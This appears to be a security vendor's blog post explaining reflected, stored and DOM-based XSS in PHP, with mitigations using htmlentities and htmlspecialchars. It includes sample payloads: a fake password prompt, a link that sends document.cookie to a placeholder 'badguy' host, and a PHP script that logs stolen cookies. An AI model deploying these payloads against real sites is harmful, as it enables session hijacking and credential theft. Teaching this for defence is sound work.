This blog delves into client-side injection attacks, which encompass JavaScript injection or XSS, HTML injection, and often CSRF attacks. Unlike server-side injections, client-side injections aim at a website’s user base rather than its endpoints or assets. Consequently, many system administrators underestimate this threat, believing it doesn’t directly impact them.

They view the worst consequence of an XSS attack as merely stealing a client’s cookies, considering it no big deal. However, it is indeed the system administrator’s responsibility to protect everyone in their user base, within reasonable limits.

What Causes Cross-Site Scripting (XSS) or HTML Injection?

In PHP, XSS and HTML injection attacks, in their simplest and most common forms, typically occur when user-controlled HTML or JavaScript is echoed through a PHP interpreter without proper sanitization. This often happens in scenarios like search forms, where user-input search queries are inserted into a form and echoed back into the URL, making them common sites for non-persistent XSS vulnerabilities.

http://site
.com/index.php?search=aaa”><script>alert(“XSS”)</script>&count=50

XSS can be a very tricky vulnerability and on complex websites with rich user-based experiences, these vulnerabilities can pop up in the strangest of places. And sadly, sanitizing all of your server-side inputs can still leave you exposed to certain types of XSS attacks. Let’s not get ahead of ourselves though and start panicking. Let’s first discuss the three different types of XSS, take a brief look at their causes, and the risk they impose on both the visitor and the administrator.

Non-persistent XSS

Non-persistent XSS vulnerabilities affect the client only and usually come from echoing HTML or JavaScript through the PHP interpreter. The aforementioned search form where the search query is echoed back and displayed in the URL via a GET request is one of the most common examples back in the mid 2000s-2011 it seemed like more than half the websites online were affected with some form of non-persistent XSS. You can look at the now pretty much defunct xssed.com to get an idea of just how many of the Alexa top 500 sites were affected back then. This was before bug bounty programs started popping up everywhere and back then to point out non-persistent XSS (any vulnerability actually) vulnerable software to a system administrator was a risk that could get you in trouble or at the least cursed out. They’d say this wasn’t a vulnerability that affected the web servers directly. The laissez faire attitude back then was due to a lack of understanding of the risks of these vulnerabilities more than anything else. Non-persistent XSS could definitely lead to some bad situations and has, but let’s look at an example. Check out the code below.

A simple code example of a non-persistent XSS:

A simple code example of a non-persistent XSS

This is a simple search function illustrating a non-persistent XSS vulnerability. The search code is below, but the actual vulnerability is above. If this site was a password protected, you could feed a link to your victim like the one below (simplified):

http://site
.com/vulnlogic/xss.php?search=aaa”><script>prompt(“Please+enter+your+password”);</script>

The result? A password prompt to a potential victim:

example of sql injection javascript

Another option — the one that XSS is probably best known for — is cookie theft. We could also craft a link that forwards the victim’s session cookie to a script we have running on our own server:

http://site
.com/vulnlogic/xss.php?search=test”><script>document.location="http://badguy/gibsmecookie.php?cookie="+ document.cookie+"&location="+document.location;</script>

To retrieve the cookie on our own backend we’d have our givemecookie.php script running:

<?php
    error_reporting(0);
    $cookie = $_GET["cookie"];
    $loc = $_GET[‘location’];
    if(fopen('log.txt', 'a')){
     fwrite(“log.txt”, $cookie . "\n");
     fwrite(“log.txt”, $loc. “\n\n”);
    }
    ?>

This code will receive the cookies when the victim clicks the link and store them in a file called log.txt.

Of course, both of the above links may come off as pretty blatant to those who know better, but we have a few options to obfuscate our payload. We can use string. FromCharCode(), different types of encoders, or a combination of both. URL shorteners can also be used. In addition to obfuscation, we can also use JavaScript source files to hide larger, more effective payloads that may be used to do multiple things such as probing services running on the user’s system by running internal port scans, and even deliver exploits to the browser. So — just to be clear — non-persistent XSS only takes place on the client, not the server. This means the victim would actually have to click — knowingly or unknowingly — the malicious link for the payload the execute.

Persistent or Stored XSS

Persistent XSS is much more dangerous than non-persistent XSS in that it doesn’t require a target to click a link to become a victim of its attack. A persistent XSS will be stored on the server (or more likely its database) so every time a page loads, it reloads the malicious JavaScript. For example, think of a guestbook application where comments can be written underneath a topic or user. The standard functionality of a guestbook application is usually: User posts comment, comment is inserted into some kind of database, then the comment is presented back on the webpage for view. The “persistence” part of the attack is due to the fact that the payload is stored in the database. Therefore, every time the page is loaded, the comment — and by extension the JavaScript within it — is loaded too. The sample code below is a very simplified version of the vulnerable guestbook. The code essentially mimics the scenario discussed above where the user types a comment, it gets inserted into a database, then quickly reflected back onto the webpage.

javascript exploit example

Adding the simple proof of concept code below:

<script>alert(String.fromCharCode(72, 65, 67, 75, 69, 68));</script>

JavaScript code injection alert

And whenever the page is loaded, this code will reload again and again until someone purges the payload from the database.

How Do We Protect Ourselves?

Fixing persistent and non-persistent XSS or HTML injection can be challenging in some situations — especially with the continued rise and innovation around client-side technologies and the growth of JavaScript Frameworks and methodologies that make the web experience more elegant and user friendly (AJAX, JQuery, AngularJS, etc.). Luckily for programmers PHP does have well-known built-in functions to sanitize against JavaScript injections called HTMLentities() and HTMLspecialchars().

These functions will sanitize user-controlled data being passed to forms or functions by converting dangerous characters to their corresponding HTML entity. Functions have been added because sanitizing against XSS can be a little more involved than sanitizing user input for command injection or SQL injection. In each of the aforementioned vulnerabilities, you probably know where the possible vulnerability is; therefore, you can test and apply trial and error to come to the best fix for the situation. With JavaScript attacks you have to sanitize similarly, but also application wide. You have to trace each input through the application and see exactly how it’s handled on both sides (client and server). Defining the proper Character-Set header is important too. For instance, if the Character-Set is correctly set to application/json when passing JSON data, JavaScript will not be allowed to execute.

Back to our simplified examples. As mentioned, we can mitigate our vulnerabilities programmatically with PHP’s HTMLentities or HTMLspecialchars. You will have to decide which is best depending on whether you’re planning on returning a string value or using just basic string sanitization.

Our Non-persistent XSS mitigated:

screenshot of non persistent xss mitigated

Our persistent XSS mitigated:

screenshot of persistent xss mitigated

The result is our persistent XSS payload is now just displayed text:

result of our persistent xss payload displayed as text

The same goes for our non-persistent XSS payload:

non-persistent xss payload displayed as text

What about Document Object Model (DOM) Based XSS?

To understand DOM-based XSS, you really need to have (at the least) a basic understanding of the DOM or Document Object Model. Before we discuss the DOM, it’s important to know that DOM-based XSS exists on the client-side.

At the highest level, the DOM essentially is a cross-platform API used to understand, present, and manipulate HTML/XML/XHTML by interpreting each piece as an object or node. DOM-based XSS happens when the browser accepts and executes an XSS attack payload due to the result of the DOM environment executing the original script. It sounds confusing but simplified it’s just using the DOM API to leverage a script to do something unexpected or malicious. This could be to execute code within the user’s browser or manipulate DOM properties like location.href to create an open redirect situation. The important thing to keep in mind when mitigating the XSS menace is that we need to trace and sanitize all inputs through your application, as well as ensure any JQuery or third-party JavaScript libraries or frameworks are up to date. There are still way too many websites using vulnerable JQuery libraries.

Resources:

Client-Side Risks Under PCI DSS 4.0: What You Need to Know | Blog

Unrivaled Security for Any Environment | Alert Logic

Schedule a Live Demo of Alert Logic

Fortra's Alert Logic Security Team
About the Author
Fortra's Alert Logic Security Team

Related Post

Ready to protect your company with Alert Logic MDR?